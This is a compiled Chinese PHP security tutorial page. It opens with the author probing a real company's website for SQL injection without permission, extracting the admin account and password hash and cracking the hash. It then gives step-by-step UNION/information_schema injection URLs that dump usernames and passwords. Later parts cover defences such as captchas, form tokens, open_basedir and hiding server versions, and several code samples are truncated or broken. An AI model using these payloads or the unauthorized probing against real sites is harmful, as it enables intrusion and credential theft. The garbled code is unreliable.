php中一些见的SQL注入方法总结
最基本的sql注入漏洞方法
今天早上学院开了个会,说了些关于毕业实习与设计的安排之类的还有说明天有个企业来招聘,让有兴趣的人回去登录他们公司的网站看看。paperen我当然是没有这个兴趣的啦,但是宿舍的小华同学就有点兴趣,回来就上了他们的网站。但是……?
paperen我也瞅了几眼,网站不咋的啊,asp的,也不知道为啥突然想也去踩踩,看看有没有存在sql注入漏洞,登上他们的网站,看了几个页面,去到公司新闻那,有一条新闻url是xwzx_content.asp?id=456(很正常的传值,根据id值去查数据库并显示相应的数据,也很合理),但是……?
paperen我将参数改为xwzx_content.asp?id=456 and 1=1试了试,发现与id=456显示是一样的。(并不能证明是否存在漏洞)?
然后又试试这个
代码如下 | 复制代码 |
xwzx_content.asp?id=456 and '1'='1 |
结果是
提示错误由此可以判断出存在漏洞,因为你可以在自己的数据库随便找个表来试试这个语句?
select * from table where id=1 and 1=1(某一条记录的id号),其实加上and 1=1与不加是一样的结果,因为1=1是true的,sql肯定可以执行过去,但如果你是1=2的话就不行了,因为很显然1不等于2,为false所以查不到任何数据。?
然后继续去构造语句xwzx_content.asp?id=456 or 1=1,结果是
得出这个结果也是很显然的,因为or上一个1=1(ture)结果也是true的,无论你的id号为456这条数据是否存在都会查出所有数据记录。?
从上面几个操作就证实了sql注入漏洞确实在这个页面存在,下面开始正式的注入爆出我们想得到的信息,主要是看你的RP。?
我们需要使用union联合查询出其管理密码与账号。当然前提是你要去猜出管理员那个表的名字。?
paperen我第一个想到的就是管理员,试试吧。
1.xwzx_content.asp?id=456?union select?* from 管理员结果是
提示字段数不匹配,那么我们再去猜它的字段数吧
1.xwzx_content.asp?id=456?union select?1,2,3,4,5,6 from 管理员结果是
看来是猜对了,这个表中共有10个字段,其中4这个字段会被显示到页面中。可能大家不太明白这里到底是什么回事,paperen我不妨放出一个自己在mysql中的一个截图。
1.sql命令是SELECT * FROM `paper_blog` WHERE id =1 UNION SELECT 1 , 2, 3, 4, 5, 6, 7, 8, 9, 10 FROM member
?
看到第二行的1,2,3,4,5了吧,反正自己领会领会吧,关于union这个联合查询不知道大家有没有用过,简单地说就是将别的表的数据都查询过来。?
再来猜他放管理员账号那个字段名,我就猜是name吧。
1.xwzx_content.asp?id=456?union select?1,2,3,name,5,6 from 管理员结果是
这就证明猜错了,继续猜叫管理员,嘻嘻,果然有了。
爆出管理员的账号是管理员,再来爆他的密码,就猜叫password吧。
1.xwzx_content.asp?id=456?union select?1,2,3,password,5,6 from 管理员结果是
密码是32位的,应该是MD5加密的,ctrl+c一下到一些在线解MD5的网站一查,密码竟然也是管理员……这安全意识也太差了吧。?
账号有了密码也有了,还差什么?很明显是后台地址,但是paperen我还是找不到啊,蒙不对地址,看到这里不知道大家是不是有些少失望,唉,paperen我也有点,但是算了,我还要发表博文呢,先不花时间去碰了。反正这个网站给我的印象就是不太好,公司估计也不咋的吧。?
其实要入侵一个网站真的不是很容易的,要防入侵也是很不容易的,但是从上面说的这些可以看出某些观点去防止出现这种很低级的错误。?
1.对get传参的参数进行过滤与判断
2.不要参照某些开源的程序的数据库表或表名去建立自己的数据库
3.要使用比较复杂的密码,至少不要管理员,管理员888之类的
4.放后台文件的文件夹名字最好改得特别点,不要让人轻易猜到
5.对于asp网站的数据库文件最好改后缀为asp的,防止被下载?
稍微高级一点的SQL注入
还记得在“你是这样处理来自$_GET的数据吗 ”里面写到的那个SQL,
代码如下 | 复制代码 |
1.$sql = 'select * from goods where id='.$id; |
不对传入来的数据进行任何过滤甚至不用单引号抱起来会导致的问题在那篇文章中已经说的比较明确了,如果您能猜到数据库其他表的话还能查到其他表的内容,而这次paperen想说一些使用这个漏洞更高级的一个技巧。
假如你已经证实了此处存在漏洞,(怎样证明?简单来说分别测试一下将参数改为id=1=1与id=1=2再看页面就能知道是否存在漏洞,如果显示信息不一样或出错则证明存在漏洞),但是即使证实了有漏洞但猜不到其他表的表名怎办。使用一个很邪恶的招数,先放出注入URL。
爆出目前数据库名
1.URL:
代码如下 | 复制代码 |
http://localhost/mytest/sqlinject/?id=-1+UNION+select+1,2,3,database(),5,6,7,8,9+from+information_schema.columns2.SQL:SELECT * FROM goods WHERE id=-1 UNION SELECT 1,2,3,DATABASE(),5,6,7,8,9 FROM information_schema.columns |
然后将获得数据库test的hex值后再爆出该test数据库中的表名(获得test的hex值 select hex('test') 放到mysql中跑一下就可以看到结果了,74657374前面再加上0x,十六进制数)
1.URL:
代码如下 | 复制代码 |
http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,2,3,GROUP_CONCAT(DISTINCT(table_name)),5,6,7,8,9+FROM+information_schema.columns+AS+c+WHERE+c.table_schema=0x746573742.SQL:SELECT * FROM test.goods WHERE id = -1 UNION SELECT 1 , 2, 3, GROUP_CONCAT( DISTINCT table_name ) , 5, 6, 7, 8, 9 FROM information_schema.columns AS c WHERE c.table_schema = 0x74657374 |
然后在将表user的hex值放入去,查user表的字段,现在是DISTINCT(column_name)了,最好加上and如果有不止一个数据库有user表的话可能得出的结果会误导你。
1.URL:
代码如下 | 复制代码 |
http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,2,3,GROUP_CONCAT(DISTINCT(column_name)),5,6,7,8,9+FROM+information_schema.columns+WHERE+table_name=0x75736572+AND+TABLE_SCHEMA=0x746573742.SQL:select * from goods where id=-1 UNION SELECT 1,2,3,GROUP_CONCAT(DISTINCT(column_name)),5,6,7,8,9 FROM information_schema.columns WHERE table_name=0x75736572 AND TABLE_SCHEMA=0x74657374 |
you see!已经一步步地获得了我们想要的信息了,是不是有点意思呢?所以paperen说这种东西搞上来会上瘾的。
然后直接爆出他的user表的明码。
代码如下 | 复制代码 |
URL:http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user2.SQL:select * from goods where id=-1 UNION SELECT 1,password,3,username,5,6,7,8,9 FROM user |
但是user表里面可能不止一个用户数据,那么就加上limit吧
代码如下 | 复制代码 |
1.URL:http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user+limit+1,12.SQL:select * from goods where id=-1 UNION SELECT 1,password,3,username,5,6,7,8,9 FROM user limit 1,1 |
然后将获得的密码拿去
破解获得明码,再知道后台路径,使用用户帐号与破解的密码登陆到后台吧,但是paperen后面两个步骤也是看你人品的,如果密码被搞得比较复杂,你也很难破解,即使你破解了也得要找到后台地址。So……就到此为止了。就是娱乐一下。(PS:你还可以用load_file将服务器一些文件内容弄到,前提是你也要猜到文件的路径)
1 一个简单的验证码实例
1.1 显示验证码的图片
代码如下 | 复制代码 |
<?php |
1.2 验证过程
代码如下 | 复制代码 |
if (strval($inputyzm)!=strval($num)) |
2 一个汉字的验证码实例
2.1 显示验证码的图片
代码如下 | 复制代码 |
<?php $str="汉","字","验","证","码"); //可以定义汉字的内容和个数 $word=strlen($str)); for ($i=0;$i<4;$i++) { $num=rand(0,$word); $img = $img."<img src='../images/yzm/".$num".gif'/>"; $pic = $pic.$str[$num]; } > |
2.2 将生成的随机字符串赋给一个隐藏域
代码如下 | 复制代码 |
<input type="hidden" name="yzm" value="<?php echo $pic; ?/>"> |
2.3 定义一个check()函数
代码如下 | 复制代码 |
<script language="javascript"> |
看一个完整的实例
php 验证码生成与调用的例子,平时开发中经常使用,记录一下。
1、验证码生成文件code.php
代码如下 | 复制代码 |
<? //生成验证码图片, |
以上代码,参考了如下的文章:
php图片验证码
php生成验证码的例子
用php生成带有雪花背景的验证码
2、调用验证码的页面 sessionValidate.php
代码如下 | 复制代码 |
<?php |
以前用的js表单防止重复提交方法
代码如下 | 复制代码 |
<script type="text/javascript"> // 第一次提交 //重复提交 //以下三种方式分别调用 <form onsubmit="return checkSubmit();"> <input type="submit" onclick="return checkSubmit();" /> <input type="button" onclick="document.forms[0].action='./test';document.forms[0].submit();return checkSubmit();" /> |
这样如果我直接做一个表单,然后提交给/test,上面代理就是一个摆设了,那我们要如何解决此问题
如果您已经知道如何解决的话那么这篇文章可能不适合你的口味,paperen这里也打算从基础开始讨论,所以希望一步看到解决方案的您也可能不太适合,所以请注意。So~开始吧 ~
paperen想您一定知道表单是什么吧,form元素就是表单,一般网页需要输入的地方必定使用了表单元素,也很常见,一般的代码如下:
代码如下 | 复制代码 |
<form |
重点其实是form与input元素,p元素只是paperen私自加上去的,对后续的说明没有任何影响,其实很简单,所谓input就是输入了,你可以完全将input 元素理解为是用作用户输入,只是某些属性的(type)不能作为输入而已(这里就是submit),而form元素你完全可以将它理解为是一个袋子,将所有用户输入数据到装在它里面之后用 来提交回服务端处理,但对于form元素值得注意的是method属性,一般来说有get与post两种方法,其实不要想得太复杂(因为深入的不需要太理解,对于后续的内容没有太多关系,如 有兴趣不妨可以使用浏览器的调试工具查看请求头部信息与发送信息,例如firebug),表现出来就是,使用get提交表单的话所有的input元素的值将会在地址栏处出现,而post则不会, 例如使用get提交此表单后的浏览器地址栏
代码如下 | 复制代码 |
http://localhost/mytest/token/form.php?data=test&submit=%E6%8F%90%E4%BA%A4 |
post则在 地址栏看不到了,使用fiebug可以看到如下信息
可以简单认为get是显式传送数据的,而 post则是隐式传送数据的,但还有一个很大区别的是post支持更多更大的数据传送。
Next,当表单代码写好了,那么让我们来进行服务器脚本的编写(这里就是PHP)。很简单 ~
代码如下 | 复制代码 |
<?php if ( isset( $_POST['submit'] ) ) { //表单提交处理 $data = isset( $_POST['data'] ) ? htmlspecialchars( $_POST['data'] ) : ''; //Insert or Update数据库 $sql = "insert into test (`string`) values ('$data')"; //do query echo $sql; } ?> |
因为这里是post传送数据的,所以使用PHP的$_POST全局变量就能获取到表单提交的数据,所有使用post方法的表单数据提交到服务端都会被保存在这个$_POST全局变 量中,不妨可以试试print_r( $_POST )这个变量你就明白了。
首先检查一下是否在$_POST数组里面存在submit,如果存在则证明是表单提交过来的,正如asp.net中好像有个 叫ispostback的一样,只是这样没那么严谨而已,但是不要紧之后会解决这个问题的。
之后接收输入框的数据,就是$_POST['data'],别忘了使用htmlspecialchars对这个进 行一下html过滤,因为防止输入了html标签或javascript造成问题(貌似叫做XSS漏洞)。最后就是拼接到sql语句中送入数据库跑了(只是这里paperen并没有很详细使用一些操作数据库的 函数例如mysql_query,有兴趣自己完成它)。恭喜,到了这里你已经顺利地完成了一个数据录入的功能了,但是有个地方你总得改善吧,插入数据后总得给操作者一个提示吧~~至少提示 我操作失败还是成功。所以整个代码paperen写成以下样子。
代码如下 | 复制代码 |
<?php <?php if ( isset( $state ) && $state ) { //数据插入成功 ?> <p>插入成功 <a href="form.php">返回</a></p> <?php } else { //失败或者没有插入动 作 ?> <form method="post"> <p> <label for="test">随便输入点什么</label> <input type="text" name="data" id="test" /> </p> <p> <input type="submit" value="提交" name="submit" /> </p> </ul> </form> <?php } ?> |
html的声明与head还有body都省略了,对比于一开始的代码其实主要是实现了真正插入数据库动作与给出 了操作反馈(通过$state变量),不妨自己拷贝代码然后试试(当然请根据自己实际情况修改数据库操作部分的代码)。代码正常,逻辑没问题,但是有个问题,就是在显示插入成功后再刷新页 面又会执行了表单处理动作,又插了一遍数据!这就是所谓的重复插入问题。在放出解决方案之前您可以自己思考一下该如何解决。
你会不会认为是接收数据与显示处理结果都是 这个页面所以才会导致这个问题?也对,也可以这么认为,使用一些调试工具你会发现,浏览器还对post的数据进行了保留,故在提交完表单后再刷新的话该post数据会重新提交了一遍。
如果有办法将浏览器的这个临时保存的post数据清空掉不就解决问题了,但服务端是没法 做到这点的,因为这是浏览器自身的事情,要么我们就重定向了不然再刷新还是会重复提交数据。
到目前为止也许你已经了解到重复提交的意思与问题的恶劣所在,如果 你不是选用重定向的办法那么就得另外想一个办法了,所以令牌解决办法就是这么过来的。
正如令牌本身代表着权限,操作权,身份标志等等,所以我能不能为我的表单加上这么 一个身份标志,在客户端每次请求这个表单的时候同时生成一个令牌其挂钩,在提交时再进行判断,正确则接收并处理表单。实现本质就是如此,而反映到具体实现上,就需要用到一种叫 session的东西。关于session的解析,参见wiki
简单的理解就是session也是一种令 牌的概念,所以你可能会很惊奇,“什么我已经使用了令牌?!”,是的,但是我们要实现的不仅仅是session而是在其基础上附加一些数据来实现我们想要的表单令牌。So let's do it!
session在php中也是被存放在$_SESSION这个超级全局变量里面的,启用起请使用session_start(),关于其他服务端脚本原理一样,只是可能调用方法名不一致而已。加入 token后的代码如下:
代码如下 | 复制代码 |
<?php //开启session session_start(); if ( isset( $_POST['submit'] ) && valid_token() ) { //表单 提交处理 } /** * 生成令牌 * @return string MD5加密后的时间戳 */ function create_token() { //当前时间戳 $timestamp = time(); $_SESSION['token'] = $timestamp; return md5( $timestamp ); } /** * 是否有效令牌 * @return bool */ function valid_token() { if ( isset( $_SESSION['token'] ) && isset( $_POST['token'] ) && $_POST['token'] == md5( $_SESSION['token'] ) ) { //若正确将本次令牌销毁掉 $_SESSION['token'] = ''; return true; } return false; } ?> <?php if ( isset( $state ) && $state ) { //数据插入成功 ?> <p>插入成功 <a href="form.php">返回 </a></p> <?php } else { //失败或者没有插入动作 ?> <form method="post"> <p> <label for="test">随便 输入点什么</label> <input type="text" name="data" id="test" /> </p> <p> <input type="submit" value="提 交" name="submit" /> </p> </ul> <!-- Token --> <input type="hidden" value="<?php echo create_token(); //生成 令牌 ?>" name="token" /> <!-- Token --> </form> <?php } ?> |
部分代码paperen这里省略,因为并不是重点,其实加的 东西只有3处:
第一,在表单结束前加入了一个input元素,记得type为hidden(隐藏域)
第二,增加了两个函数,create_token与valid_token,前者用来生成令牌 的后者用来验证令牌的
第三,在if中多加一个条件,valid_token
那就大功告成了,很简单,而且所有的东西都聚集在新加的两个函数中。paperen这里使用的令牌很 简单就是时间戳,将请求表单时的时间戳存储到$_SESSION['token']中,那么验证令牌就明白了,就是检查客户端提交过来的$_POST['token']是否与md5后的$_SESSION['token']一致 就行了,当然还要加上存在$_POST['token']与$_SESSION['token']这两个变量才行。
你可以将这个简单的令牌模式封装得更加棒并扩展一下功能,例如加上表单提交超时验证 也是个不错的动手机会。
最后附上之前paperen扩展codeingeter的Form_validation类文件,主要是扩展上令牌与表单超时。压缩包中welcome.php是控制器文件,请放置到 applicationcontroller中(如不想增加这个控制器可以打开然后将token方法复制下来放到已有的其他控制器中);MY_Form_validation.php请放到applicationlibraries中。
codeingeter的Form_validation类文件代码
代码如下 | 复制代码 |
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); class Welcome extends CI_Controller {
public function token() //生成表单令牌 //form example |
form_validation_token
代码如下 | 复制代码 |
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); /** /** /** public function __construct() /** /** /** //提交的hash if ( md5( $source_hash ) == $post_formhash ) /** |
如下是php.ini中的原文说明以及默认配置:
; open_basedir, if set, limits all file operations to the defined directory
; and below. This directive makes most sense if used in a per-directory or
; per-virtualhost web server configuration file. This directive is
; *NOT* affected by whether Safe Mode is turned On or Off.
open_basedir = .
open_basedir可将用户访问文件的活动范围限制在指定的区域,通常是其家目录的路径,也
可用符号"."来代表当前目录。注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是
可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。例如设置成:
"open_basedir = /dir/user/"
open_basedir也可以同时设置多个目录, 在Windows中用分号分隔目录,在任何其它系统中用
冒号分隔目录。当其作用于Apache模块时,父目录中的open_basedir路径自动被继承。
有三种方法可以在Apache中为指定的用户做独立的设置:
(a) 在Apache的httpd.conf中Directory的相应设置方法:
php_admin_value open_basedir /usr/local/apache/htdocs/
#设置多个目录可以参考如下:
php_admin_value open_basedir /usr/local/apache/htdocs/:/tmp/
(b) 在Apache的httpd.conf中VirtualHost的相应设置方法:
php_admin_value open_basedir /usr/local/apache/htdocs/
#设置多个目录可以参考如下:
php_admin_value open_basedir /var/www/html/:/var/tmp/
(c) 因为VirtualHost中设置了open_basedir之后, 这个虚拟用户就不会再自动继承php.ini
中的open_basedir设置值了,这就难以达到灵活的配置措施, 所以建议您不要在VirtualHost
中设置此项限制. 例如,可以在php.ini中设置open_basedir = .:/tmp/, 这个设置表示允许
访问当前目录(即PHP脚本文件所在之目录)和/tmp/目录.
请注意: 若在php.ini所设置的上传文件临时目录为/tmp/, 那么设置open_basedir时就必须
包含/tmp/,否则会导致上传失败. 新版php则会提示"open_basedir restriction in effect"
警告信息, 但move_uploaded_file()函数仍然可以成功取出/tmp/目录下的上传文件,不知道
这是漏洞还是新功能.
隐藏PHP版本
为了安全起见,最好还是将PHP版本隐藏,以避免一些因PHP版本漏洞而引起的攻击。
1、隐藏PHP版本就是隐藏 “X-Powered-By: PHP/5.2.13″ 这个信息。
方法很简单:
编辑php.ini配置文件,修改或加入: expose_php = Off 保存后重新启动Nginx或Apache等相应的Web服务器即可。
代码如下 | 复制代码 |
[root@bkjz /]# curl -I www.111cn.net |
已经彻底隐藏了PHP版本。
隐藏Apache版本号
一般情况下,软件的漏洞信息和特定版本是相关的,因此,软件的版本号对攻击者来说是很有价值的。
在默认情况下,系统会把Apache版本模块都显示出来(http返回头信息)。如果列举目录的话,会显示域名信息(文件列表正文),如:
代码如下 | 复制代码 |
[root@localhost tmp]# curl -I 192.168.80.128:88 |
隐藏方法:
1、隐藏Apache版本号的方法是修改Apache的配置文件,如RedHat系的Linux默认是:
代码如下 | 复制代码 |
vim /etc/httpd/conf/httpd.conf |
分别搜索关键字ServerTokens和ServerSignature,修改:
ServerTokens OS 修改为 ServerTokens ProductOnly
ServerSignature On 修改为 ServerSignature Off
2、重启或重新加载Apache就可以了。
代码如下 | 复制代码 |
apachectl restart |
测试一下,如下:
代码如下 | 复制代码 |
[root@localhost tmp]# curl -I 192.168.80.128:88 |
版本号与操作系统信息已经隐藏了。
3、上面的方法是默认情况下安装的Apache,如果是编译安装的,还可以用修改源码编译的方法:
进入Apache的源码目录下的include目录,然后编辑ap_release.h这个文件,你会看到有如下变量:
代码如下 | 复制代码 |
#define AP_SERVER_BASEVENDOR “Apache Software Foundation” #define AP_SERVER_MAJORVERSION_NUMBER 2 |
可以根据自己喜好,修改或隐藏版本号与名字。
在windows下隐藏apache与php版本号的方法我暂时还没找到,找到会在下面更新哦。
相关文章
- PHPEMS(PHP Exam Management System)在线模拟考试系统基于PHP+Mysql开发,主要用于搭建模拟考试平台,支持多种题型和展现方式,是国内首款支持题冒题和自动评分与教师评分相...2016-11-25
- SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作 标准注入语句1.判...2016-11-25
php 中file_get_contents超时问题的解决方法
file_get_contents超时我知道最多的原因就是你机器访问远程机器过慢,导致php脚本超时了,但也有其它很多原因,下面我来总结file_get_contents超时问题的解决方法总结。...2016-11-25- 防止SQL注入是我们程序开发人员必须要做的事情了,今天我们就来看一篇关于PHP防止SQL注入的例子了,具体的实现防过滤语句可以参考下面来看看吧。 使用prepared以及参...2016-11-25
- php如何实现抓取网页图片,相较于手动的粘贴复制,使用小程序要方便快捷多了,喜欢编程的人总会喜欢制作一些简单有用的小软件,最近就参考了网上一个php抓取图片代码,封装了一个php远程抓取图片的类,测试了一下,效果还不错分享...2015-10-30
- 相信很多站长都遇到过这样一个问题,访问页面时出现408错误,下面一聚教程网将为大家介绍408错误出现的原因以及408错误的解决办法。 HTTP 408错误出现原因: HTT...2017-01-22
- 下面我们来看一篇关于Android子控件超出父控件的范围显示出来方法,希望这篇文章能够帮助到各位朋友,有碰到此问题的朋友可以进来看看哦。 <RelativeLayout xmlns:an...2016-10-02
- ps软件是现在非常受大家喜欢的一款软件,有着非常不错的使用功能。这次文章就给大家介绍下ps把文字背景变透明的操作方法,喜欢的一起来看看。 1、使用Photoshop软件...2017-07-06
intellij idea快速查看当前类中的所有方法(推荐)
这篇文章主要介绍了intellij idea快速查看当前类中的所有方法,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2020-09-02- 1.在没有设置默认值的情况下: 复制代码 代码如下:SELECT userinfo.id, user_name, role, adm_regionid, region_name , create_timeFROM userinfoLEFT JOIN region ON userinfo.adm_regionid = region.id 结果:...2014-05-31
js导出table数据到excel即导出为EXCEL文档的方法
复制代码 代码如下: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta ht...2013-10-13- 批量更新mysql更新语句很简单,更新一条数据的某个字段,一般这样写:复制代码 代码如下:UPDATE mytable SET myfield = 'value' WHERE other_field = 'other_value';如果更新同一字段为同一个值,mysql也很简单,修改下where即...2013-10-04
- ps软件是一款非常不错的图片处理软件,有着非常不错的使用效果。这次文章要给大家介绍的是ps怎么制作倒影,一起来看看设计倒影的方法。 用ps怎么做倒影最终效果̳...2017-07-06
- 本文涉及的主题虽然很基础,在许多人看来属于小伎俩,但在JavaScript基础知识中属于一个综合性的话题。这里会涉及到对象属性的封装、原型、构造函数、闭包以及立即执行表达式等知识。公有方法 公有方法就是能被外部访问...2015-11-08
安卓手机wifi打不开修复教程,安卓手机wifi打不开解决方法
手机wifi打不开?让小编来告诉你如何解决。还不知道的朋友快来看看。 手机wifi是现在生活中最常用的手机功能,但是遇到手机wifi打不开的情况该怎么办呢?如果手机wifi...2016-12-21- 最近想自学PHP ,做了个验证码,但不知道怎么搞的,总出现一个如下图的小红叉,但验证码就是显示不出来,原因如下 未修改之前,出现如下错误; (1)修改步骤如下,原因如下,原因是apache权限没开, (2)点击打开php.int., 搜索extension=ph...2013-10-04
- 单个字符分割 string s="abcdeabcdeabcde"; string[] sArray=s.Split('c'); foreach(string i in sArray) Console.WriteLine(i.ToString()); 输出下面的结果: ab de...2020-06-25
- javascript控制页面控件隐藏显示的两种方法,方法的不同之处在于控件隐藏后是否还在页面上占位 方法一: 复制代码 代码如下: document.all["panelsms"].style.visibility="hidden"; document.all["panelsms"].style.visi...2013-10-13
连接MySql速度慢的解决方法(skip-name-resolve)
最近在Linux服务器上安装MySql5后,本地使用客户端连MySql速度超慢,本地程序连接也超慢。 解决方法:在配置文件my.cnf的[mysqld]下加入skip-name-resolve。原因是默认安装的MySql开启了DNS的反向解析。如果禁用的话就不能...2015-10-21- 本篇文章是对C#方法进行了详细的总结与介绍,需要的朋友参考下...2020-06-25